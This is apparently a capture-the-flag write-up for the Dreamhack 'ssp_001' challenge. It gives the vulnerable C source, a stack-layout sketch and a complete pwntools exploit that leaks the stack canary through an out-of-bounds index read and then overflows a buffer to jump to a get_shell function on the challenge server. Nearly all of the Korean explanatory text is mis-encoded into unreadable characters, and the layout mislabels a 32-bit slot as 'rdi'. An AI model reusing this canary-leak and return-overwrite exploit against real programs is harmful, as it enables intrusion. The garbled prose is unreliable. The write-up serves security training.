[dreamhack] ssp_001 ๋ฌธ์ ํ์ด
ํ๊ฒฝ ์ธํ
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx); # ์ทจ์ฝ์ 1 (box์ idx ์์น ๊ฐ ์ถ๋ ฅ)
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len); # ์ทจ์ฝ์ 2 (BOF)
return 0;
default:
break;
}
}
}
์ทจ์ฝ์ ๋ถ์
1. P : box์ index์ ๋ง๋ ๊ฐ์ ์ถ๋ ฅํด์ค (box๊ฐ์ ๋์ด์๋ ๊ฐ๋ ์ถ๋ ฅ์ด ๊ฐ๋ฅํ๋ฏ๋ก ์ด๊ฑธ ํตํด ์นด๋๋ฆฌ ๊ฐ์ ์์๋ผ ์ ์๋ค.)
2. E : name_len๋งํผ name์ read ํ ์ ์๊ฒ ํด๋์์ผ๋ฏ๋ก ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๊ฐ ๊ฐ๋ฅํ๋ค.
์ฆ, ์นด๋๋ฆฌ ๋ฆญ์ด ๊ฐ๋ฅํ๋ค.
์คํ๊ตฌ์กฐ๋ฅผ gdb๋ฅผ ํตํด ๊ฐ์ ์ ๋ ฅํ๋ฉด์ ๋๋ฒ๊น ํด๋ณด๋
index(4) ebp-0x8a
----------------------
namelen(4)
----------------------
select(2)
----------------------
box(0x40) ebp-0x88 (esp)
----------------------
name(0x40) ebp-0x48
----------------------
canary (4)
----------------------
rdi(4)
----------------------
sfp(4)
----------------------
ret
๋์ถฉ ์ด๋ฐ ๋๋์ด์๋ค.
์คํ ๊ตฌ์กฐ๋ ๋ ์ง์คํฐ ์ ๋ณด( i r ) ๊ณผ rbp ์์ offset์ ๋ณด๊ณ ๊ตฌํ๋ค.
<์ต์คํ๋ก์ ์๋๋ฆฌ์ค>
1. 32bit ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ 4๋ฒ P ์ ๊ทผํด์ buf์ ์ธ๋ฑ์ค๋ก 4byte์ ์นด๋๋ฆฌ๊ฐ ๊ฐ์ ธ์์ผํจ
2. E์์ ๋ฒํผ์ค๋ฒํ๋ก์ฐ๋ฅผ ํตํด ret๊น์ง ๋ฎ์ด์ฐ๊ณ ๊ทธ ์ดํ์ ์ ธ์ฝ๋ ํจ์๋ฅผ ret์ ๋ฃ์ด์ค
exploit ์ฝ๋
from pwn import *
p = remote("host1.dreamhack.games",13064)
context.arch = "i386"
elf = ELF("./ssp_001")
get_shell = elf.symbols['get_shell']
# TODO : F (box input ์
๋ ฅ)
p.sendlineafter("> ", "F")
p.sendlineafter("box input : ", "A"*0x40)
idx = 128 # box์ canary ์ฌ์ด์ offset 0x80
canary = b""
# TODO : P (buf index ๊ฐ ์ถ๋ ฅ) -> canary ์ถ์ถ
for i in range(4):
p.sendlineafter("> ", "P")
p.sendlineafter("Element index : ",str(idx+i))
p.recvuntil("is : ")
canary = p.recvuntil('\n')[0:2] + canary
print("canary: ",canary)
canary = int(canary,16)
p.sendlineafter("> ", "E")
payload = b'A' * 0x40 # name
payload += p32(canary) # canary
payload += b'B' * 0x08 # rdi + sfp
payload += p32(get_shell) # ret
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)
p.interactive()